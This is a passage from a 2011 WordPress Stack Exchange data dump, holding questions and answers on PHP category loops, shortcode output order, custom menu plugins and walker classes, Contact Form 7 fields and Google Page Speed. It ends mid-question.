  <row Id="24346" PostTypeId="2" ParentId="24336" CreationDate="2011-07-28T19:34:02.157" Score="0" ViewCount="" Body="&lt;p&gt;Ok then time to move my response into an answer, because it seems you just want to exclude categories from the loop in the above code..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're alright to modify this file(a plugin update would overwrite it), then simply conditionalise your loop like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$excluded = array( 1, 2, 3 );&#xA;foreach($categories as $category)&#xA;    if( in_array( $category-&amp;gt;cat_ID, $excluded ) )&#xA;        continue;&#xA;    else&#xA;        echo '&amp;lt;option value=&quot;'.$category-&amp;gt;cat_ID.'&quot;'. selected( $category-&amp;gt;cat_ID, $_POST['ucn_submission_category'], false ).'&amp;gt;'.$category-&amp;gt;name.'&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/option&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Untested, so let me know if any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace 1,2 and 3 with the IDs of the categories you wish to exclude.&lt;/p&gt;&#xA;" OwnerUserId="2962" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-31T13:15:21.020" LastActivityDate="2011-07-31T13:15:21.020" CommentCount="7" />
  <row Id="24347" PostTypeId="2" ParentId="24341" CreationDate="2011-07-28T19:46:43.763" Score="1" ViewCount="" Body="&lt;p&gt;Some folks asked the same question you did here. &lt;a href=&quot;http://stackoverflow.com/questions/5641924/duplicate-sub-category-slugs-in-wordpress&quot;&gt;This one&lt;/a&gt; specifically worth reading, if you haven't already. It has &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;ottopress&lt;/a&gt; explanation for harmful permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to force this, you could write your own permalink (http://domain.com/category/subcategory/post...), then either use htaccess rewrite rule or WP_Rewrite to take them to the link wordpress generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This merely satisfies your visual requirement, but it adds server load.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-28T19:46:43.763" />
  <row Id="24348" PostTypeId="1" AcceptedAnswerId="24349" CreationDate="2011-07-28T19:47:43.043" Score="0" ViewCount="25" Body="&lt;p&gt;I have a shortcode function that returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return '&amp;lt;ul class=&quot;list-pages&quot;&amp;gt;'. wp_list_pages( $args ) .'&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course it returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pages}&#xA;&amp;lt;ul class=&quot;list-pages&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list-pages&quot;&amp;gt;&#xA;   {pages}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is almost the same question, but for echo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4924/why-does-this-echo-values-in-the-wrong-order&quot;&gt;Why does this echo values in the wrong order?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it works perfectly for echo, but I don't know how to use PHP line breaking with &quot;return&quot; (it breaks the whole code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-07-28T19:54:45.690" Title="Return values in the wrong order. An easy PHP question" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="24349" PostTypeId="2" ParentId="24348" CreationDate="2011-07-28T19:54:45.690" Score="4" ViewCount="" Body="&lt;p&gt;it is b/c wp_list_pages ECHOES by default.  so it echoes before your return happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wherever you are defining your $args, set&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'echo' =&gt; FALSE,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-28T19:54:45.690" CommentCount="1" />
  <row Id="24350" PostTypeId="2" ParentId="24345" CreationDate="2011-07-28T19:57:59.807" Score="1" ViewCount="" Body="&lt;p&gt;here are the instructions i followed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webdesignerwall.com/tutorials/installing-wordpress-locally&quot; rel=&quot;nofollow&quot;&gt;http://webdesignerwall.com/tutorials/installing-wordpress-locally&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-28T19:57:59.807" CommentCount="3" />
  <row Id="24351" PostTypeId="1" CreationDate="2011-07-28T20:06:09.087" Score="1" ViewCount="60" Body="&lt;p&gt;If there's a value for the custom field, I want it to display the value. If there's no value for the custom field, I want it to display &quot;N/A&quot;. I have this working for custom fields but cant replicate the same functionality for a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for a custom field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = get_post_meta( get_the_ID(), 'event-code', true );&#xA;if ( ! empty( $url ) ) {&#xA;print ( $url );&#xA;}&#xA;else {&#xA;print 'N/A';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the case of a custom taxonomy entry with a value, this displays both the value and &quot;N/A&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$promtax = the_terms( get_the_ID(), 'promotion','' );&#xA;if ( ! empty( $promtax ) ) {&#xA;print ( $promtax );&#xA;}&#xA;else {&#xA;print 'N/A';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used variations and combinations of isset, empty without any luck. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4499" LastEditorUserId="4499" LastEditorDisplayName="" LastEditDate="2011-08-01T15:36:33.643" LastActivityDate="2011-09-04T16:32:51.427" Title="Conditional display for custom fields/taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;php&gt;&lt;custom-field&gt;&lt;conditional-content&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="24353" PostTypeId="2" ParentId="10184" CreationDate="2011-07-28T20:22:44.767" Score="0" ViewCount="" Body="&lt;p&gt;check out my page, which give some code to add in the bbPress... that's why I did on by sites, and it works now.&#xA;&lt;a href=&quot;http://bonplangratos.fr/wordpress-bbpress-login-problem&quot; rel=&quot;nofollow&quot;&gt;http://bonplangratos.fr/wordpress-bbpress-login-problem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&#xA;B&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2011-07-28T20:22:44.767" CommentCount="1" />
  <row Id="24354" PostTypeId="1" AcceptedAnswerId="24356" CreationDate="2011-07-28T20:41:00.677" Score="0" ViewCount="30" Body="&lt;p&gt;I asked this earlier on StackOverflow.com before realizing there was a StackExchange specifically for WordPress. Here is the link to the old question (for moderator deletion):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/6862887/replacing-wordpress-core-functionality-with-a-plugin&quot;&gt;http://stackoverflow.com/questions/6862887/replacing-wordpress-core-functionality-with-a-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating a WordPress plugin for a custom menu layout. I am well aware that I could just as easily implement this menu directly into the theme and I've read up quite thoroughly on the features and limitations of &lt;code&gt;wp_nav_menu()&lt;/code&gt;, plus I have already tried and tested every plugin already created for replacing the default WordPress menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to use a plugin since my client will be implementing this on several different WordPress sites, many of which run on different themes - and most of those are themes which I did not create and I do not wish to re-write their code in case they update the theme in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I've looked into a way to implement the menu into the theme I found that there are only two good methods since there is no hook or filter called at menu display time. The first is to change the theme to look for the plugin (this is similar to the method used by PixoPoint and many other menu plugins):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header.php:&#xA;&#xA;if(function_exists('pixopoint_menu')){&#xA;    pixopoint_menu();&#xA;} else {&#xA;    wp_nav_menu();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second method is a walker class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugin.php:&#xA;&#xA;class my_walker_class Extends Walker_Nav_Menu {&#xA;    function start_el(&amp;amp;$output, $item, $depth, $args) {&#xA;        /*&#xA;        *  Etc. Etc.&#xA;        */&#xA;    }&#xA;}&#xA;&#xA;header.php:&#xA;&#xA;wp_nav_menu( Array( 'walker' =&amp;gt; 'my_walker_class' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However as you'll note both of these methods require a modification to the standard header.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to simply replace the &lt;code&gt;wp_nav_menu()&lt;/code&gt; function if my plugin is loaded, as this would give my plugin support for the majority of themes without having to edit any of the theme files. Is there a good way to do this? Or is there a better way to write a menu plugin which I am not seeing?&lt;/p&gt;&#xA;" OwnerUserId="7429" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-28T21:43:33.957" LastActivityDate="2011-07-28T21:43:33.957" Title="Replacing WordPress menu functionality with a plugin" Tags="&lt;plugin-development&gt;&lt;menus&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="24355" PostTypeId="1" CreationDate="2011-07-28T20:49:46.873" Score="0" ViewCount="35" Body="&lt;p&gt;I have a form I've created with the plugin &lt;strong&gt;Contact Form 7&lt;/strong&gt;. I've added a section with dynamically added fields that will exactly duplicate the Contact Form 7 field names, but I don't know how to &quot;submit&quot; this extra info when the submit button is pressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use-case: For a conference abstract submission form, the user needs to add authors, and I have no way of knowing how many authors will be needed. Rather than adding extra fields that might not be necessary for some users and might not be enough for other users, I have a little jQuery script that clones my div with the author information and also auto-increments the input (and span) field names/ids. So   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;wpcf7-form-control-wrap author1&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;author1&quot; value=&quot;&quot; class=&quot;wpcf7-text wpcf7-use-title-as-watermark textInput watermark&quot; size=&quot;40&quot; title=&quot;Author&quot;&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is cloned as  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;wpcf7-form-control-wrap author2&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;author2&quot; value=&quot;&quot; class=&quot;wpcf7-text wpcf7-use-title-as-watermark textInput watermark&quot; size=&quot;40&quot; title=&quot;Author&quot;&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works perfectly, except I don't know how to get these new, dynamically-added fields to be reported in the email that &lt;strong&gt;Contact Form 7&lt;/strong&gt; sends on successful submit of the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there is there something I could add to the on_sent_ok hook or some other hook or something? I have also asked on the WP forums, but its been 2 weeks with no response, so I thought I'd try here.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-07-28T20:49:46.873" Title="Report dynamically (jquery) added fields in a Contact Form 7 form?" Tags="&lt;jquery&gt;&lt;contact-form-7&gt;" />
  <row Id="24356" PostTypeId="2" ParentId="24354" CreationDate="2011-07-28T20:57:54.653" Score="2" ViewCount="" Body="&lt;p&gt;Err... There's plenty of filters on the menu system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'wp_nav_menu' filter is called on the output of the wp_nav_menu() function call. So if you need to modify the menu output, you can use that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'wp_nav_menu_items' filter is called on the resulting array of items (basically all the LI items).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to modify the arguments passed into wp_nav_menu, such as to dynamically add your own walker, you can use the 'wp_nav_menu_args' filter for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a lot more filters which are more specific and can probably be used to change things in more subtle ways. These are sorta the main club-like filters that change the whole thing.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-28T20:57:54.653" CommentCount="5" />
  <row Id="24357" PostTypeId="1" CreationDate="2011-07-28T21:00:23.283" Score="0" ViewCount="25" Body="&lt;p&gt;What I'm looking for is a way a user can register and add their business. I need the ability to add custom fields and their business address. If they have more than one then they could add their other offices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user would only be allowed to edit their own listing and it would have to be approved by an admin before the changes showed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not wanting to use the directory plugins that have tons of categories or anything, just something pretty simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking that I could extend the user profile but I don't know how I can have a &quot;add additional office location&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2832" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-28T22:23:46.170" LastActivityDate="2011-07-28T22:23:46.170" Title="Looking for a Business Directory" Tags="&lt;plugin-recommendation&gt;" CommentCount="1" />
  <row Id="24358" PostTypeId="2" ParentId="24321" CreationDate="2011-07-28T21:06:23.770" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Reference Domains and WordPress&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reference domain is only used for DNS lookups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say I'm moving a site at example.com onto their service. The domain example.com lives on the IP address 1.2.3.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Google Page Speed service needs to know where your actual site is. To do this, they want you to set up a reference domain at ref.example.com pointing to 1.2.3.4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, they're only using this to get the IP address. When their system actually contacts your domain, it's talking to 1.2.3.4 but setting the Host: header to example.com, not to ref.example.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, WordPress sees no difference here. It will behave normally. It need know zero about the reference domain.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-07-28T21:15:57.647" LastActivityDate="2011-07-28T21:15:57.647" CommunityOwnedDate="2011-07-28T21:06:23.770" />
  <row Id="24359" PostTypeId="2" ParentId="24321" CreationDate="2011-07-28T21:09:10.523" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;MultiSite Considerations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisite will work fine with Google's Page Speed service, however &lt;strong&gt;only&lt;/strong&gt; on a subdirectory setup. Subdomain-based setups will not work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google's Page speed service provides proxy services for one domain/site only. However, a multisite in subdirectory configuration essentially &lt;em&gt;is&lt;/em&gt; one domain/site as far as Google cares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using multisite with different subdomain names, Google Page Speed service will not work due to their methodology. The requirement for a CNAME record in the DNS eliminates this. You can, however, use the open-source &lt;a href=&quot;http://code.google.com/speed/page-speed/docs/module.html&quot; rel=&quot;nofollow&quot;&gt;mod_pagespeed&lt;/a&gt; instead, which does the same thing but on your own servers instead of through Google's proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using multiple domain names with domain mapping, Google is going to consider that to be completely separate sites and will charge or require setup for them accordingly.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-02T15:38:22.647" LastActivityDate="2011-08-02T15:38:22.647" CommunityOwnedDate="2011-07-28T21:09:10.523" />
  <row Id="24360" PostTypeId="1" AcceptedAnswerId="24365" CreationDate="2011-07-28T21:11:56.563" Score="0" ViewCount="35" Body="&lt;p&gt;I was just looking under my &quot;Tools&quot; menu in my WordPress site and noticed the &quot;Export/Import&quot; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not aware that this was even available and I've been needing it for some time. What version of WordPress did it originate with?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-28T21:26:29.807" Title="Just found the WordPress Import/Export tool. Wow!" Tags="&lt;import&gt;&lt;export&gt;" AnswerCount="1" />
  <row Id="24361" PostTypeId="2" ParentId="24321" CreationDate="2011-07-28T21:12:11.287" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Static Caching in WordPress with Google Page Speed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static Caching plugins can be used with Google Page Speed service, as in this case Google is really acting as a proxy, not as a full caching service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Page Speed service will cache several resources such as images, JavaScript and CSS files. However the actual HTML generated by your page will not be cached. Google will retrieve the normal page generated by your server and re-serve it to your users normally, after running it through their Page Speed tools.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-28T21:12:11.287" CommunityOwnedDate="2011-07-28T21:12:11.287" CommentCount="2" />
  <row Id="24362" PostTypeId="2" ParentId="24321" CreationDate="2011-07-28T21:14:51.440" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;The wp-admin and AJAX requests&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do nothing special, the wp-admin section will be run through the Google Page Speed proxy too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the normal mod_pagespeed seems to have no effect on the wp-admin code, it is unlikely that Google's service will have any effect at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies to all AJAX type behavior, mod_pagespeed has had no effect on these in tests.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-28T21:14:51.440" CommunityOwnedDate="2011-07-28T21:14:51.440" />
  <row Id="24364" PostTypeId="1" CreationDate="2011-07-28T21:21:27.710" Score="0" ViewCount="19" Body="&lt;p&gt;I've found init and init_admin. Are there any action that executes just in the frontend?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7431" LastActivityDate="2011-07-28T21:31:51.690" Title="Are there any action like 'init_frontend'" Tags="&lt;admin&gt;&lt;hooks&gt;&lt;wordpress.org&gt;&lt;init&gt;&lt;frontend&gt;" AnswerCount="1" />
  <row Id="24365" PostTypeId="2" ParentId="24360" CreationDate="2011-07-28T21:26:29.807" Score="3" ViewCount="" Body="&lt;p&gt;Exporting and Importing has been there since at least WordPress 2.1. Probably earlier. It moved into plugins with the release of 3.0, I believe.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-28T21:26:29.807" CommentCount="3" />
  <row Id="24366" PostTypeId="2" ParentId="24364" CreationDate="2011-07-28T21:31:51.690" Score="1" ViewCount="" Body="&lt;p&gt;'template_redirect' is the most useful one.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-28T21:31:51.690" />
  <row Id="24367" PostTypeId="1" AcceptedAnswerId="24422" CreationDate="2011-07-28T21:34:42.093" Score="2" ViewCount="55" Body="&lt;p&gt;is there a file where wordpress defines it's $GLOBALS? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm just curious as to what wordpress uses it for and for what purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all!&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-07-29T16:08:27.897" Title="$GLOBALS array for wordpress" Tags="&lt;core&gt;" AnswerCount="2" />
  <row Id="24368" PostTypeId="1" CreationDate="2011-07-28T21:34:59.897" Score="0" ViewCount="14" Body="&lt;p&gt;I need to embed multiple quizzes within my Wordpress blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin should allow me to track answers, correct answers and scores by user profile. The ability to benchmark a user against historical score would be great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current plug in I use allows me to ask questions and present the correct answers but is missing the tracking, scoring functionality. &lt;/p&gt;&#xA;" OwnerUserId="7432" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-28T22:18:44.723" LastActivityDate="2011-07-28T22:18:44.723" Title="Plug in for Quizes within wordpress" Tags="&lt;plugin-recommendation&gt;" />
  <row Id="24369" PostTypeId="2" ParentId="24367" CreationDate="2011-07-28T21:41:37.110" Score="3" ViewCount="" Body="&lt;p&gt;Unfortunately, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Globals definitions are scattered throught the codebase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no documentation for most of them, either.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-28T21:41:37.110" CommentCount="3" />
  <row Id="24370" PostTypeId="1" AcceptedAnswerId="24375" CreationDate="2011-07-28T21:41:44.307" Score="-2" ViewCount="27" Body="&lt;p&gt;I've just discovered the WordPress export/import routine under the tools menu. However, upon testing it for the first time, several values stored in my wp_options table did not transfer over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to include those values when exporting/importing a site?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-28T22:14:46.303" Title="WordPress Export/Import for custom options.php values?" Tags="&lt;import&gt;&lt;export&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24371" PostTypeId="1" AcceptedAnswerId="24374" CreationDate="2011-07-28T21:59:08.537" Score="1" ViewCount="42" Body="&lt;p&gt;A continuation to this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/24354/replacing-wordpress-menu-functionality-with-a-plugin&quot;&gt;Replacing WordPress menu functionality with a plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I really rarely work with WordPress (I've done a lot of work with phpBB, myBB, Concrete5, and custom PHP scripts - but my WordPress experience is limited to one or two simple sites) I feel that I might get an answer quicker here than spending 3 hours reading through the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating a plugin to replace the WordPress menu with my own. So far here is the code for this plugin (it's all in a single PHP file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'DEMenu::init');&#xA;class DEMenu {&#xA;&#xA;    public static function init() {&#xA;        $DEMenu = new DEMenu();&#xA;        load_plugin_textdomain ('de-menu', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/');&#xA;        /* Load CSS with wp_enqueue_style() */&#xA;&#xA;        // If in admin page, then load admin page stuff&#xA;        if (is_admin()) {&#xA;            add_action('admin_menu', 'DEMenu::admin');&#xA;        }   &#xA;        // If not on admin page ...&#xA;        else {&#xA;            // Load plugin core - doesn't require a hook&#xA;            $DEMenu-&amp;gt;core();&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    public static function admin() {&#xA;        add_options_page('DE Menu Options', 'DE Menu', 'manage_options', 'de-menu', 'DEMenu::options');&#xA;//      add_option('de_menu_maintenance', 'off');&#xA;    }&#xA;&#xA;    public static function options() {&#xA;        if (!current_user_can('manage_options'))  {&#xA;            wp_die( __('You do not have sufficient permissions to access this page.') );&#xA;        }&#xA;        echo '&amp;lt;div class=&quot;wrap&quot;&amp;gt;';&#xA;        echo '&amp;lt;p&amp;gt;Here is where the form would go if I actually had options.&amp;lt;/p&amp;gt;';&#xA;        echo '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    public static function core() {&#xA;&#xA;        /* Add support for various themes */&#xA;        add_filter('wp_nav_menu', 'DEMenu::display');&#xA;&#xA;        /* If I need to add more actions/filters they will go here... I may enqueue CSS here, too */&#xA;&#xA;    }&#xA;&#xA;    public static function display() {&#xA;        print &quot;Let's see if this displays. I'll add some text to ctrl+F for later&quot;;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is mostly the culmination of various bits of advice from the WordPress documentation, plugin development tutorials, and basic OOP practices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm tasked with drawing the menu from the Dashboard &gt; Appearance &gt; Menus area. How can I access this menu object (as an array or other accessible data type) so that I can work with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I do realize it seems silly to completely override the &lt;code&gt;wp_nav_menu()&lt;/code&gt; output if I'm just going to be using the same menu, however I can think of no other way to accomplish what I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been reading through &lt;code&gt;wp-includes/nav-menu-template.php&lt;/code&gt; to learn how &lt;code&gt;wp_nav_menu()&lt;/code&gt; gets the list of menu items, as well as how it displays it. I have been trying to essentially emulate the method used by this function only with slight variations to add in the multi-column structure. Here is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function core() {&#xA;&#xA;    /* Add support for varoius themes */&#xA;    add_filter('wp_nav_menu', 'DEMenu::display', 1);&#xA;&#xA;    /* If I need to add more actions/filters they will go here... I may enqueue CSS here, too */&#xA;&#xA;}&#xA;&#xA;    public static function display( $args ) {&#xA;        /* The following is blatantly ripped from nav-menu-template.php */&#xA;&#xA;            // *****************************************************************&#xA;            /* Excluded for ease of reading - this is an exact copy of nav-menu-template.php */&#xA;            // *****************************************************************&#xA;&#xA;        // Here we can invoke our custom walker without editing the theme&#xA;        $args-&amp;gt;walker = 'DEMenu_Walker';&#xA;&#xA;            $items .= walk_nav_menu_tree( $sorted_menu_items, $args-&amp;gt;depth, $args );&#xA;            unset($sorted_menu_items);&#xA;&#xA;            // *****************************************************************&#xA;            /* Excluded for ease of reading - this is an exact copy of nav-menu-template.php */&#xA;            // *****************************************************************&#xA;&#xA;//          $nav_menu = apply_filters( 'wp_nav_menu', $nav_menu, $args );&#xA;//  &#xA;//          if ( $args-&amp;gt;echo )&#xA;//                  echo $nav_menu;&#xA;//          else&#xA;//                  return $nav_menu;&#xA;&#xA;        // Rather than checking if we should echo the output, just return it.&#xA;        // This is a filter, so the output will be echo'd by the calling function&#xA;        return $nav_menu;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then later (outside of the DEMenu class):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class DEMenu_Walker Extends Walker_Nav_Menu {&#xA;&#xA;    function __construct() {&#xA;        die(&quot;We made it to the constructor!&quot;);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Attempt to assign property of non-object in /home/coupon/public_html/wp-content/plugins/DE-menu/index.php on line 146&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line number is referring to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args-&amp;gt;walker = 'DEMenu_Walker';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is a far more reasonable solution that I have over-looked, however from what  I can tell I need a custom walker class (along with private variables for keeping track of how many items have been displayed and how many items should be displayed per column) and this is the only way to use a custom walker class without editing the theme. However if I'm to use the solution that I'm currently working on then I need to understand why the &lt;code&gt;$args&lt;/code&gt; variables is a non-object when &lt;code&gt;wp_nav_menu()&lt;/code&gt; clearly has the following line of code near the very beginning of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = (object) $args;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ANOTHER EDIT - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved the non-object problem. When &lt;code&gt;wp_nav_menu()&lt;/code&gt; calls the filter it is calling it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nav_menu = apply_filters( 'wp_nav_menu', $nav_menu, $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I failed to realize that this meant it was passing two arguments. I modified the display function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function display( $nav_menu, $args ){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course modified the &lt;code&gt;add_filter()&lt;/code&gt; call like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_nav_menu', 'DEMenu::display', 1, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although now I'm getting all sorts of fun new 